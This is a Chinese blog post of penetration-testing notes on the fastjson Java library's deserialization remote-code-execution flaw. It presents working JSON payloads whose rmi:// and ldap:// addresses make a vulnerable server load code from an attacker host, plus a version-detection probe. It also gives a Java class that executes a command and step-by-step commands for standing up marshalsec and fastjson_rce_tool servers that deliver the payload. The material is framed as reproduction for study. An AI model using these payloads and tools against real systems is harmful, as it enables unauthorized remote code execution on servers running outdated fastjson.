fastjsion反序列化漏洞滲透測試筆記


本文原創地址:https://www.cnblogs.com/yunmuq/p/14268028.html


一、背景

fastjsion是阿里的開源Java工具:https://github.com/alibaba/fastjson

能快速地將對象序列化為json字符串,或進行反序列化

其速度和效率在同類型工具中遙遙領先,但曾被曝出存在高危漏洞

漏洞主要分布於1.2.68及以下的版本中,在將json反序列化為對象時,存在代碼執行漏洞

如果一些項目未更新到最新版本,則存在安全漏洞



二、Payload



2.1 版本<1.2.25

{
      "@type":"com.sun.rowset.JdbcRowSetImpl",
      "dataSourceName":"rmi://localhost:1099/Exploit",
      "autoCommit":true
}



2.1 版本<1.2.48

{
      "x":{
            "@type":"java.lang.Class",
            "val":"com.sun.rowset.JdbcRowSetImpl"
      },
      "x":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"rmi://ip:port/Exploit",
            "autoCommit":true
      }
}



2.1 版本<1.2.68

1.2.47都是18年發布的版本了,上述兩個payload是廣為流傳的版本,都是利用RMI、LDAP進行遠程命令執行(RCE)

而1.2.68是20年新發布的版本,它修復了今年被爆出的安全漏洞

在1.2.68之前的版本,fastjson被發現還能利用異常進行攻擊

但是利用難度較大,作者暫時沒有找到好的利用鏈

雖然不能RCE,但是想驗證存在漏洞還是有方法的

fastjson早從v1.2.25開始就默認不支持autotype,但是如果網站后端>>>開啟autotype的話,還是可以證明的

payload參考 https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

{
      "@type":"javax.swing.JEditorPane",
      "page": "http://ip:port"
}

這邊用nc收聽請求就行



2.1 后續版本

如果網站未自定義錯誤信息的話,可以使用以下payload曝出版本,一般我們認為低於1.2.68就是不安全的

{"@type":"java.lang.AutoCloseable"

//不用懷疑,這就是不完整的json格式



三、RCE利用漏洞復現

關於早期能遠程命令執行的版本的漏洞復現。



3.1 搭建fastjson項目

想要復現RCE漏洞最關鍵的要素是JDK版本,編譯運行fastjson項目的jdk建議是 JDK8,作者使用 jdk-11.0.9 沒成功,使用 jdk1.8.0_112 成功了

簡單的驗證很簡單,無需spring項目和Tomcat,創建最簡單的Java項目即可

覺得不想安裝maven的,或覺得maven更改版本麻煩的,可以從maven中央庫下載fastjson的jar包,並添設置項目屬性加到依賴中,這里的版本最齊全:https://repo1.maven.org/maven2/com/alibaba/fastjson/

阿里雲的鏡像無法從瀏覽器訪問,如果安裝了maven可以使用maven項目

實現代碼雖然不長,但是影響閱讀,我放另一個頁面中吧

>>>實現代碼

准備好RMI、LDAP服務再運行



3.2 RMI、LDAP服務搭建

簡單地說一下原理,作者自己也不是十分了解

當fastjson可以反序列化一些類時,怎么讓服務器執行自己想要的代碼呢

這就需要尋找一個利用鏈,com.sun.rowset.JdbcRowSetImpl的好處是,他是Java官方的類庫

其中的lookup方法支持調用遠程接口,我們把想要運行的代碼放在遠程接口中,觸發服務器來調用即可

在前人已經為我們尋找好利用鏈之后,剩下的一步是搭建RMI、LDAP服務,自己寫代碼是比較困難的,好在這一步也有工具可用



3.2.1 使用marshalsec

不推薦,但是在網絡上流傳甚廣,這里也介紹一下

雖然免去寫代碼就能搭建RMI、LDAP服務器,但是需要安裝python來提供http服務、需要maven來編譯此工具,且編譯的jdk版本需要在1.8.0_112及以下

這是項目地址:https://github.com/mbechler/marshalsec

遠程調用的過程是,服務器通過RMI、LDAP訪問我們的主機,我們的主機再轉發到一個http端口上,把事先編譯好的.class文件給服務器運行即可

具體步驟是:①在一個文件夾下編譯

import java.lang.Runtime;
import java.lang.Process;

public class Exp {

    public Exp() {
        try{
            // 要執行的命令
            String commands = "calc";
            Process pc = Runtime.getRuntime().exec(commands);
            pc.waitFor();
        } catch(Exception e){
            e.printStackTrace();
        }

    }

    public static void main(String[] argv) {
        Exp e = new Exp();
    }

}

②使用 python -m http.server 80 在此文件夾下開啟一個http服務

③使用 java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip/#Exp 運行RMIRefServer

④payload中的地址則是 ``rmi://ip/Exp` ,rmi默認端口是1099,http默認端口是80



3.2.2 使用fastjson_rce_tool

強烈推薦

相比marshalsec優點在於,不用編譯,無需自己編寫利用類Exploit,無需自己開啟http服務,最重要的是運行fastjson_rce_tool不受JDK限制,使用JDK11也可

項目地址:https://github.com/wyzxxz/fastjson_rce_tool

使用方法:java -cp fastjson_tool.jar fastjson.HRMIServer IP port " 想要執行的命令 "

命令行會給出payload

不足是,當運行fastjson的Java版本是jdk11時,這邊能收到服務器遠程調用的請求,命令卻無法被執行



本文參考文章:
https://zhuanlan.zhihu.com/p/157211675
https://www.cnblogs.com/sijidou/p/13121332.html



(๑•̀ㅂ•́)و✧

往期精彩文章推薦:

《zookeeper未授權訪問滲透測試及修復方法》

《安裝nginx並安全地配置和啟動》


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM